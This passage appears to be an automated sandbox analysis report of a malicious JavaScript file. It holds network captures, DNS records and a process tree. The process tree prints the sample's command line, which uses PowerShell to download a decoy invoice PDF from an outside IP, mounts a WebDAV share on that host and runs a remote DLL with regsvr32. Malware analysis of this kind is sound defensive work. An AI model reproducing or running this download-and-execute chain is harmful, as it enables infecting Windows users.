Jan 10, 2025 17:40:46.091932058 CET	443	49712	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.093619108 CET	49712	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:46.093626976 CET	443	49712	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.094963074 CET	49711	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:46.095042944 CET	443	49711	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.098683119 CET	49711	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:46.098695040 CET	443	49711	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.193809986 CET	443	49712	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.193877935 CET	49712	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:46.196158886 CET	49712	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:46.196185112 CET	443	49712	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.200983047 CET	49711	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:46.201817036 CET	443	49711	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.201891899 CET	443	49711	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.201925993 CET	49711	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:46.208569050 CET	49711	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:46.208590031 CET	443	49711	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:51.661092997 CET	49739	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:51.661138058 CET	443	49739	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:51.661269903 CET	49739	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:51.661482096 CET	49739	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:51.661495924 CET	443	49739	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:52.144948006 CET	443	49739	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:52.145278931 CET	49739	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:52.145296097 CET	443	49739	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:52.146280050 CET	443	49739	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:52.146349907 CET	49739	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:52.172131062 CET	49739	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:52.172333002 CET	443	49739	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:52.172467947 CET	49739	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:52.172491074 CET	443	49739	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:52.225805044 CET	49739	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:52.284934998 CET	443	49739	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:52.285007000 CET	443	49739	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:52.285557985 CET	49739	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:52.285702944 CET	49739	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:52.285717010 CET	443	49739	172.64.41.3	192.168.2.5
Jan 10, 2025 17:41:17.855129004 CET	63112	53	192.168.2.5	162.159.36.2
Jan 10, 2025 17:41:17.860053062 CET	53	63112	162.159.36.2	192.168.2.5
Jan 10, 2025 17:41:17.860135078 CET	63112	53	192.168.2.5	162.159.36.2
Jan 10, 2025 17:41:17.864972115 CET	53	63112	162.159.36.2	192.168.2.5
Jan 10, 2025 17:41:18.682334900 CET	63112	53	192.168.2.5	162.159.36.2
Jan 10, 2025 17:41:18.687438011 CET	53	63112	162.159.36.2	192.168.2.5
Jan 10, 2025 17:41:18.687602043 CET	63112	53	192.168.2.5	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:40:45.610084057 CET	52935	53	192.168.2.5	1.1.1.1
Jan 10, 2025 17:40:45.617274046 CET	53	52935	1.1.1.1	192.168.2.5
Jan 10, 2025 17:40:51.344588041 CET	64649	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:51.660717010 CET	64649	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:51.799056053 CET	443	64649	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:51.799235106 CET	443	64649	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:51.801261902 CET	64649	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:51.801852942 CET	443	64649	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:51.801868916 CET	443	64649	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:51.802386999 CET	64649	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:51.829899073 CET	53873	53	192.168.2.5	1.1.1.1
Jan 10, 2025 17:40:52.086400986 CET	64649	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:52.183536053 CET	443	64649	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:53.498678923 CET	64649	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:53.498960018 CET	64649	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:53.596925974 CET	443	64649	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:53.596945047 CET	443	64649	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:53.596955061 CET	443	64649	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:53.596965075 CET	443	64649	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:53.598298073 CET	64649	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:53.598387003 CET	64649	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:53.695544958 CET	443	64649	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:53.722100973 CET	64649	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:41:17.854588032 CET	53	56175	162.159.36.2	192.168.2.5
Jan 10, 2025 17:41:18.707004070 CET	53	64285	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:40:45.610084057 CET	192.168.2.5	1.1.1.1	0xa389	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:40:51.829899073 CET	192.168.2.5	1.1.1.1	0x10db	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:40:45.617274046 CET	1.1.1.1	192.168.2.5	0xa389	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:40:45.617274046 CET	1.1.1.1	192.168.2.5	0xa389	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:40:51.836994886 CET	1.1.1.1	192.168.2.5	0x10db	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

chrome.cloudflare-dns.com

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6204	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:40:36.805131912 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:40:37.562552929 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:40:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:40:37.562577009 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:40:37.562589884 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:40:37.562601089 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 17:40:37.562613010 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 17:40:37.562623978 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 17:40:37.562634945 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 10, 2025 17:40:37.562700987 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 17:40:37.562715054 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 17:40:37.562727928 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 17:40:37.567583084 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6480	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:40:38.923706055 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:40:39.715270042 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:40:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	172.64.41.3	443	5652	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 16:40:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-10 16:40:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-10 16:40:46 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 10 Jan 2025 16:40:46 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8ffe1c586ffc42fe-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 16:40:46 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	172.64.41.3	443	5652	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 16:40:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-10 16:40:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-10 16:40:46 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 10 Jan 2025 16:40:46 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8ffe1c587e3c8c75-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 16:40:46 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f9 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49739	172.64.41.3	443	5652	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 16:40:52 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-10 16:40:52 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 05 61 72 6d 6d 66 05 61 64 6f 62 65 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: armmfadobecom)TP
2025-01-10 16:40:52 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 10 Jan 2025 16:40:52 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8ffe1c7e7f8d41de-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 16:40:52 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 05 61 72 6d 6d 66 05 61 64 6f 62 65 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 01 28 00 1b 03 73 73 6c 05 61 64 6f 62 65 03 63 6f 6d 07 65 64 67 65 6b 65 79 03 6e 65 74 00 c0 2d 00 05 00 01 00 00 54 5c 00 18 05 65 34 35 37 38 04 64 73 63 62 0a 61 6b 61 6d 61 69 65 64 67 65 c0 43 c0 54 00 01 00 01 00 00 00 10 00 04 68 7e 70 b6 00 00 29 04 d0 00 00 00 00 01 4d 00 0c 01 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: armmfadobecom(ssladobecomedgekeynet-T\e4578dscbakamaiedgeCTh~p)MI

Target ID:	0
Start time:	11:40:33
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js"
Imagebase:	0x7ff655b20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:40:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll
Imagebase:	0x7ff7f3e70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:40:34
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:40:34
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:40:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:40:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f3e70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:40:37
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f9470000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:40:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
